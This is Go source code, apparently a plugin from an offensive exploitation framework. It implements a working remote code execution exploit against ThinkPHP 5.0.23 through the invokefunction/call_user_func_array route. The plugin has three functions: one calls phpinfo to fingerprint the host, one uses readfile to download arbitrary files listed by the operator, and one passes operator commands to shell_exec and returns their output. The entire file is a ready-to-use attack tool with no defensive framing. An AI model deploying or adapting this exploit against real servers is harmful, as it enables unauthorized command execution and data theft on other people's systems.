package drops

import (
	"bytes"
	"context"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/drops/helper"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	hubur "gitee.com/wudicaidou/menciis-hubur"
	logx "gitee.com/wudicaidou/menciis-logx"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	shttp "gitee.com/wudicaidou/menciis-shttp"
	"net/url"
	"time"
)

type ThinkPHP5RCE struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp ThinkPHP5RCE
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *ThinkPHP5RCE) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "48e1d02d-02b6-409c-8f8d-483b85dfad7a",
		VulId:   "c60c6824-af6c-473f-8504-2d018ab9a373",
		Name:    "Thinkphp5.0.23-rce",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *ThinkPHP5RCE) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, fmt.Errorf("no need assets")
	}
	req := reqAsset.Req

	newUrl, err := hubur.ReplaceUri(req.GetUrl(), "/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1")
	if err != nil {
		return nil, err
	}
	req.RawRequest.URL = newUrl
	resp, err := expContext.HttpClient.Do(ctx, req)
	if err != nil {
		return nil, err
	}
	body := resp.GetBody()
	if !bytes.Contains(body, []byte("<title>phpinfo()</title>")) {
		logx.Errorf("the response is not phpinfo, %s", newUrl)
		return nil, fmt.Errorf("data empty")
	}
	parser := helper.NewPhpInfoParser(resp.GetBody())
	osInfo, err := parser.GetOsInfo()
	if err != nil {
		if err != helper.ErrNotFound {
			return nil, err
		}
	} else {
		data = append(data, &expbase.BasicInfoEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Type:      expbase.TypeOsInfo,
			Os:        osInfo,
		})
	}

	phpInfo, err := parser.GetPhpInfo()
	if err != nil {
		if err != helper.ErrNotFound {
			return nil, err
		}
	} else {
		data = append(data, &expbase.BasicInfoEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Type:      expbase.TypePhpInfo,
			Php:       phpInfo,
		})
	}
	return data, nil
}

func (t *ThinkPHP5RCE) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req
	for _, path := range expContext.DownloadFileList {
		newUrl, err := hubur.ReplaceUri(req.GetUrl(), "/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=readfile&vars[1][]="+url.QueryEscape(path))
		if err != nil {
			return nil, err
		}
		req.RawRequest.URL = newUrl
		resp, err := expContext.HttpClient.Do(ctx, req)
		if err != nil {
			return nil, err
		}
		data = append(data, &expbase.FileDownloadEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Filename:  path,
			Content:   resp.GetBody(),
		})
	}
	return data, nil
}

func (t *ThinkPHP5RCE) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	for _, cmd := range expContext.CommandToExecute {
		newUrl, err := hubur.ReplaceUri(req.GetUrl(), "/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]="+url.QueryEscape(cmd))
		if err != nil {
			return nil, err
		}
		req.RawRequest.URL = newUrl
		client, _ := shttp.NewDefaultClient(nil)
		client.HTTPClient.Timeout = 600 * time.Second
		resp, err := client.Do(ctx, req)
		if err != nil {
			return nil, err
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}
